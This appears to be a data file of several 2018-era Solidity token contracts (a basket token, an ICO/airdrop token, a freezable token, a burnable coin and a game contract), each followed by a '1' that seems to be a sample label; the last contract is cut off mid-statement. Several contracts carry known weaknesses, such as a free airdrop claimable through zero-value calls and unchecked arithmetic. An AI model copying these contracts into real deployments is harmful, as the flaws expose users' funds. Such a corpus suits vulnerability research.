pragma solidity 0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library AddressArrayUtils { function hasValue(address[] addresses, address value) internal returns (bool) { for (uint i = 0; i < addresses.length; i++) { if (addresses[i] == value) { return true; } } return false; } function removeByIndex(address[] storage a, uint256 index) internal returns (uint256) { a[index] = a[a.length - 1]; a.length -= 1; } } contract SetInterface { function issue(uint _quantity) public returns (bool success); function redeem(uint _quantity) public returns (bool success); event LogIssuance( address indexed _sender, uint _quantity ); event LogRedemption( address indexed _sender, uint _quantity ); } contract SetToken is StandardToken, DetailedERC20("Stable Set", "STBL", 18), SetInterface { using SafeMath for uint256; using AddressArrayUtils for address[]; struct Component { address address_; uint unit_; } uint public naturalUnit; Component[] public components; mapping(bytes32 => bool) internal isComponent; mapping(uint => mapping(address => uint)) internal unredeemedBalances; event LogPartialRedemption( address indexed _sender, uint _quantity, bytes32 _excludedComponents ); event LogRedeemExcluded( address indexed _sender, bytes32 _components ); modifier hasSufficientBalance(uint quantity) { require(balances[msg.sender] >= quantity, "User does not have sufficient balance"); _; } modifier validDestination(address _to) { require(_to != address(0)); require(_to != address(this)); _; } modifier isMultipleOfNaturalUnit(uint _quantity) { require((_quantity % naturalUnit) == 0); _; } modifier isNonZero(uint _quantity) { require(_quantity > 0); _; } constructor(address[] _components, uint[] _units, uint _naturalUnit) isNonZero(_naturalUnit) public { require(_components.length > 0, "Component length needs to be great than 0"); require(_units.length > 0, "Units must be greater than 0"); require(_components.length == _units.length, "Component and unit lengths must be the same"); naturalUnit = _naturalUnit; for (uint16 i = 0; i < _units.length; i++) { uint currentUnits = _units[i]; require(currentUnits > 0, "Unit declarations must be non-zero"); address currentComponent = _components[i]; require(currentComponent != address(0), "Components must have non-zero address"); require(!tokenIsComponent(currentComponent)); isComponent[keccak256(currentComponent)] = true; components.push(Component({ address_: currentComponent, unit_: currentUnits })); } } function issue(uint _quantity) isMultipleOfNaturalUnit(_quantity) isNonZero(_quantity) public returns (bool success) { for (uint16 i = 0; i < components.length; i++) { address currentComponent = components[i].address_; uint currentUnits = components[i].unit_; uint preTransferBalance = ERC20(currentComponent).balanceOf(this); uint transferValue = calculateTransferValue(currentUnits, _quantity); require(ERC20(currentComponent).transferFrom(msg.sender, this, transferValue)); uint postTransferBalance = ERC20(currentComponent).balanceOf(this); assert(preTransferBalance.add(transferValue) == postTransferBalance); } mint(_quantity); emit LogIssuance(msg.sender, _quantity); return true; } function redeem(uint _quantity) public isMultipleOfNaturalUnit(_quantity) hasSufficientBalance(_quantity) isNonZero(_quantity) returns (bool success) { burn(_quantity); for (uint16 i = 0; i < components.length; i++) { address currentComponent = components[i].address_; uint currentUnits = components[i].unit_; uint preTransferBalance = ERC20(currentComponent).balanceOf(this); uint transferValue = calculateTransferValue(currentUnits, _quantity); require(ERC20(currentComponent).transfer(msg.sender, transferValue)); uint postTransferBalance = ERC20(currentComponent).balanceOf(this); assert(preTransferBalance.sub(transferValue) == postTransferBalance); } emit LogRedemption(msg.sender, _quantity); return true; } function partialRedeem(uint _quantity, bytes32 _componentsToExclude) public isMultipleOfNaturalUnit(_quantity) isNonZero(_quantity) hasSufficientBalance(_quantity) returns (bool success) { require(_componentsToExclude > 0, "Excluded components must be non-zero"); burn(_quantity); for (uint16 i = 0; i < components.length; i++) { uint transferValue = calculateTransferValue(components[i].unit_, _quantity); if (_componentsToExclude & bytes32(2 ** i) > 0) { unredeemedBalances[i][msg.sender] += transferValue; } else { uint preTransferBalance = ERC20(components[i].address_).balanceOf(this); require(ERC20(components[i].address_).transfer(msg.sender, transferValue)); uint postTransferBalance = ERC20(components[i].address_).balanceOf(this); assert(preTransferBalance.sub(transferValue) == postTransferBalance); } } emit LogPartialRedemption(msg.sender, _quantity, _componentsToExclude); return true; } function redeemExcluded(bytes32 _componentsToRedeem) public returns (bool success) { require(_componentsToRedeem > 0, "Components to redeem must be non-zero"); for (uint16 i = 0; i < components.length; i++) { if (_componentsToRedeem & bytes32(2 ** i) > 0) { address currentComponent = components[i].address_; uint remainingBalance = unredeemedBalances[i][msg.sender]; unredeemedBalances[i][msg.sender] = 0; require(ERC20(currentComponent).transfer(msg.sender, remainingBalance)); } } emit LogRedeemExcluded(msg.sender, _componentsToRedeem); return true; } function getComponents() public view returns(address[]) { address[] memory componentAddresses = new address[](components.length); for (uint16 i = 0; i < components.length; i++) { componentAddresses[i] = components[i].address_; } return componentAddresses; } function getUnits() public view returns(uint[]) { uint[] memory units = new uint[](components.length); for (uint16 i = 0; i < components.length; i++) { units[i] = components[i].unit_; } return units; } function getUnredeemedBalance(address _componentAddress, address _userAddress) public view returns (uint256) { require(tokenIsComponent(_componentAddress)); uint componentIndex; for (uint i = 0; i < components.length; i++) { if (components[i].address_ == _componentAddress) { componentIndex = i; } } return unredeemedBalances[componentIndex][_userAddress]; } function transfer(address _to, uint256 _value) validDestination(_to) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) validDestination(_to) public returns (bool) { return super.transferFrom(_from, _to, _value); } function tokenIsComponent(address _tokenAddress) view internal returns (bool) { return isComponent[keccak256(_tokenAddress)]; } function calculateTransferValue(uint componentUnits, uint quantity) view internal returns(uint) { return quantity.div(naturalUnit).mul(componentUnits); } function mint(uint quantity) internal { balances[msg.sender] = balances[msg.sender].add(quantity); totalSupply_ = totalSupply_.add(quantity); emit Transfer(address(0), msg.sender, quantity); } function burn(uint quantity) internal { balances[msg.sender] = balances[msg.sender].sub(quantity); totalSupply_ = totalSupply_.sub(quantity); emit Transfer(msg.sender, address(0), quantity); } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DIZOOLCLOUD is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "DIZOOL CLOUD"; string public constant symbol = "DZL"; uint public constant decimals = 18; uint public deadline = now + 360 * 1 days; uint public round2 = now + 180 * 1 days; uint public round1 = now + 180 * 1 days; uint256 public totalSupply = 600000000e18; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 100; uint256 public tokensPerEth = 100000e18; uint public target0drop = 1000; uint public progress0drop = 0; address multisig = 0xC613D2aad28E8F3B63Ff5Ac736950D69a7f7841b; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 300000000e18; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 2; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 3 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 4 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 6 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 4 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 6 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 20e18; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 2; uint8 public constant TOKEN_DECIMALS_UINT8 = 2; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Wechain Network"; string public constant TOKEN_SYMBOL = "WCN"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x031e4bd2fa0bbdccf4d97b66abacb190c06aa3fc; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[5] memory addresses = [address(0x58aba8ea204307af256e376ae6a4fe5892c73ea2),address(0x2fd2cbd43d3d1216b6396d9a66119f3f5f3240ae),address(0xc4aab1d48115b48612a87cea26e4f26dd3829354),address(0x0ed43f37598070d7d1c7909d545b96bc2d2e6604),address(0x96abb03c10194606c747d85f5a13911ba5a44920)]; uint[5] memory amounts = [uint(300000000000),uint(50000000000),uint(400000000000),uint(100000000000),uint(150000000000)]; uint64[5] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0),uint64(1544547601)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Eetgccoin{ string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function Eetgccoin( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity ^0.4.18; contract Manager { address public ceo; address public cfo; address public coo; address public cao; event OwnershipTransferred(address previousCeo, address newCeo); event Pause(); event Unpause(); function Manager() public { coo = msg.sender; cfo = 0x7810704C6197aFA95e940eF6F719dF32657AD5af; ceo = 0x96C0815aF056c5294Ad368e3FBDb39a1c9Ae4e2B; cao = 0xC4888491B404FfD15cA7F599D624b12a9D845725; } modifier onlyCEO() { require(msg.sender == ceo); _; } modifier onlyCOO() { require(msg.sender == coo); _; } modifier onlyCAO() { require(msg.sender == cao); _; } bool allowTransfer = false; function changeAllowTransferState() public onlyCOO { if (allowTransfer) { allowTransfer = false; } else { allowTransfer = true; } } modifier whenTransferAllowed() { require(allowTransfer); _; } function demiseCEO(address newCeo) public onlyCEO { require(newCeo != address(0)); emit OwnershipTransferred(ceo, newCeo); ceo = newCeo; } function setCFO(address newCfo) public onlyCEO { require(newCfo != address(0)); cfo = newCfo; } function setCOO(address newCoo) public onlyCEO { require(newCoo != address(0)); coo = newCoo; } function setCAO(address newCao) public onlyCEO { require(newCao != address(0)); cao = newCao; } bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyCAO whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyCAO whenPaused public { paused = false; emit Unpause(); } } contract AlchemyBase is Manager { mapping (address => bytes32[8]) assets; event Transfer(address from, address to); function assetOf(address account) public view returns(bytes32[8]) { return assets[account]; } function _checkAndAdd(bytes32 x, bytes32 y) internal pure returns(bytes32) { bytes32 mask = bytes32(255); bytes32 result; uint maskedX; uint maskedY; uint maskedResult; for (uint i = 0; i < 31; i++) { if (i > 0) { mask = mask << 8; } maskedX = uint(x & mask); maskedY = uint(y & mask); maskedResult = maskedX + maskedY; require(maskedResult < (2 ** (8 * (i + 1)))); result = (result ^ mask) & result; result = result | bytes32(maskedResult); } return result; } function _checkAndSub(bytes32 x, bytes32 y) internal pure returns(bytes32) { bytes32 mask = bytes32(255); bytes32 result; uint maskedX; uint maskedY; uint maskedResult; for (uint i = 0; i < 31; i++) { if (i > 0) { mask = mask << 8; } maskedX = uint(x & mask); maskedY = uint(y & mask); require(maskedX >= maskedY); maskedResult = maskedX - maskedY; result = (result ^ mask) & result; result = result | bytes32(maskedResult); } return result; } function transfer(address to, bytes32[8] value) public whenNotPaused whenTransferAllowed { require(msg.sender != to); bytes32[8] memory assetFrom = assets[msg.sender]; bytes32[8] memory assetTo = assets[to]; for (uint256 i = 0; i < 8; i++) { assetFrom[i] = _checkAndSub(assetFrom[i], value[i]); assetTo[i] = _checkAndAdd(assetTo[i], value[i]); } assets[msg.sender] = assetFrom; assets[to] = assetTo; emit Transfer(msg.sender, to); } function withdrawETH() external onlyCAO { cfo.transfer(address(this).balance); } } contract AlchemyPatent is AlchemyBase { struct Patent { address patentOwner; uint256 beginTime; bool onSale; uint256 price; uint256 lastPrice; uint256 sellTime; } mapping (uint16 => Patent) public patents; uint256 public feeRatio = 9705; uint256 public patentValidTime = 2 days; uint256 public patentSaleTimeDelay = 2 hours; event RegisterCreator(address account, uint16 kind); event SellPatent(uint16 assetId, uint256 sellPrice); event ChangePatentSale(uint16 assetId, uint256 newPrice); event BuyPatent(uint16 assetId, address buyer); function setPatentFee(uint256 newFeeRatio) external onlyCOO { require(newFeeRatio <= 10000); feeRatio = newFeeRatio; } function sellPatent(uint16 assetId, uint256 sellPrice) public whenNotPaused { Patent memory patent = patents[assetId]; require(patent.patentOwner == msg.sender); if (patent.lastPrice > 0) { require(sellPrice <= 2 * patent.lastPrice); } else { require(sellPrice <= 1 ether); } require(!patent.onSale); patent.onSale = true; patent.price = sellPrice; patent.sellTime = now; patents[assetId] = patent; emit SellPatent(assetId, sellPrice); } function publicSell(uint16 assetId) public whenNotPaused { Patent memory patent = patents[assetId]; require(patent.patentOwner != address(0)); require(!patent.onSale); require(patent.beginTime + patentValidTime < now); patent.onSale = true; patent.price = patent.lastPrice; patent.sellTime = now; patents[assetId] = patent; emit SellPatent(assetId, patent.lastPrice); } function changePatentSale(uint16 assetId, uint256 newPrice) external whenNotPaused { Patent memory patent = patents[assetId]; require(patent.patentOwner == msg.sender); if (patent.lastPrice > 0) { require(newPrice <= 2 * patent.lastPrice); } else { require(newPrice <= 1 ether); } require(patent.onSale == true); patent.price = newPrice; patents[assetId] = patent; emit 